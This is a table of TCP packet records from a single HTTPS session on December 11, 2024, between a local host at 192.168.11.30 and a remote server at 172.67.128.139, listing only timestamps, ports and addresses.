Dec 11, 2024 12:30:39.596906900 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:39.597126007 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:39.597671986 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:39.597923040 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:39.598023891 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:39.598028898 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:39.598187923 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:39.598712921 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:39.598787069 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:39.598970890 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:39.598975897 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:39.599023104 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:39.599598885 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:39.599642038 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:39.599901915 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:39.599905014 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:39.651726007 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:39.837548018 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:39.837909937 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:39.838057995 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:39.838059902 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:39.838279009 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:39.838417053 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:39.838619947 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:39.839152098 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:39.839375019 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:39.839387894 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:39.839438915 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:39.839754105 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:39.839761019 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:39.839775085 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:39.840199947 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:39.840249062 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:39.840564966 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:39.840570927 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:39.841228962 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:39.841257095 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:39.841479063 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:39.841487885 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:39.842112064 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:39.842283964 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:39.842291117 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:39.842401028 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:39.842552900 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:39.842562914 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:39.842775106 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:39.843060970 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:39.843128920 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:39.843528986 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:39.843528986 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:39.843535900 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:39.886025906 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:39.886033058 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:39.932909966 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.082365036 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.082367897 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.082695961 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.082751036 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.082763910 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.083101988 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.083101988 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.083208084 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.083487988 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.084099054 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.084271908 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.084319115 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.086086035 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.086111069 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.086182117 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.086458921 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.086458921 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.086463928 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.086729050 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.087980032 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.087989092 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.088319063 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.088512897 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.088517904 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.088704109 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.089883089 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.089890957 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.089942932 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.090231895 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.090231895 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.090262890 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.090605021 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.334901094 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.334911108 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.335098028 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.335277081 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.335277081 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.335282087 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.335469961 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.336966991 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.336975098 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.337201118 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.337207079 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.337380886 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.337380886 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.338795900 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.338804007 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.339135885 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.339135885 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.339143991 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.339328051 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.340751886 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.340759993 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.340910912 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.340910912 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.341090918 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.341090918 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.341090918 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.341098070 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.341366053 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.342629910 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.342638969 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.342963934 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.342963934 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.342976093 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.343127012 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.343674898 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.343817949 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.343873024 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.343873024 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.343878031 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.386015892 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.577761889 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.577861071 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.577928066 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.578108072 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.578108072 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.578108072 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.578114986 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.580276966 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.580287933 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.580440044 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.580440044 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.580452919 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.580662012 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.580662012 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.580662012 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.582237959 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.582248926 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.582401991 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.582613945 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.582613945 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.582613945 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.582629919 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.584273100 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.584285021 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.584484100 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.584484100 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.584484100 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.584484100 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.584497929 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.584569931 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.584762096 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.586139917 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.586148977 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.586324930 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.586324930 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.586338997 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.586514950 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.586708069 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.586708069 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.588123083 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.588135004 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.588335037 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.588346958 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.588571072 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.588764906 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.589641094 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.589723110 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.589998960 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.589998960 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.590006113 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.590389013 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.825143099 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.825197935 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.825493097 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.825515985 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.825685024 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.825898886 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.827056885 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.827111006 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.827316046 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.827497005 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.827497005 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.827524900 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.827543974 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.827822924 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.828947067 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.828999043 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.829240084 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.829256058 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.829459906 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.829622984 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.830836058 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.831048012 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.831278086 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.831310987 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.831696033 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.832727909 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.832779884 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.832894087 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.833079100 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.833079100 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.833079100 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.833101034 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.833349943 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.834619999 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.834675074 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.834790945 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.834970951 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.834970951 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.834999084 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.835175037 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.836585999 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.836638927 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.836863995 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.837219954 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.837246895 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.837624073 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.838108063 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.838196993 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.838284016 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.838464022 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:40.838481903 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:40.885869980 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.071717978 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.071737051 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.071877956 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.072062016 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.072068930 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.072253942 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.073582888 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.073597908 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.073924065 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.073924065 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.073931932 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.074115038 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.075575113 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.075592995 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.076181889 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.076181889 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.076181889 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.076191902 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.076565027 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.077497959 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.077513933 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.077658892 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.077837944 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.077841997 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.078031063 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.078031063 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.078031063 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.079283953 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.079349995 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.079627991 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.079627991 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.079627991 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.079633951 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.081213951 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.081228971 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.081569910 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.081569910 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.081569910 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.081569910 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.081577063 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.083132982 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.083149910 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.083319902 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.083324909 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.083515882 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.083708048 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.085143089 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.085159063 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.085304022 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.085479975 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.085479975 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.085485935 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.085671902 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.087418079 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.087438107 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.087727070 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.087733984 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.087738037 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.088474989 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.088526964 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.088815928 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.088815928 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.088823080 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.135797024 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.316909075 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.316926003 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.317250967 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.317250967 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.317264080 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.317442894 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.318902016 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.318919897 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.319247961 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.319247961 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.319264889 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.319436073 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.320748091 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.320764065 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.320904970 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.321086884 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.321086884 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.321098089 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.321326017 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.322746992 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.322766066 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.322912931 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.323092937 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.323092937 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.323092937 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.323101997 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.323381901 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.324654102 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.324672937 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.324815035 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.324997902 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.324997902 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.324997902 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.325005054 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.325237989 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.326519012 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.326586962 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.326865911 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.326877117 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.328512907 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.328531981 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.328674078 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.328689098 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.328870058 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.330645084 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.330663919 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.330806017 CET	49763	443	192.168.11.30	172.67.128.139
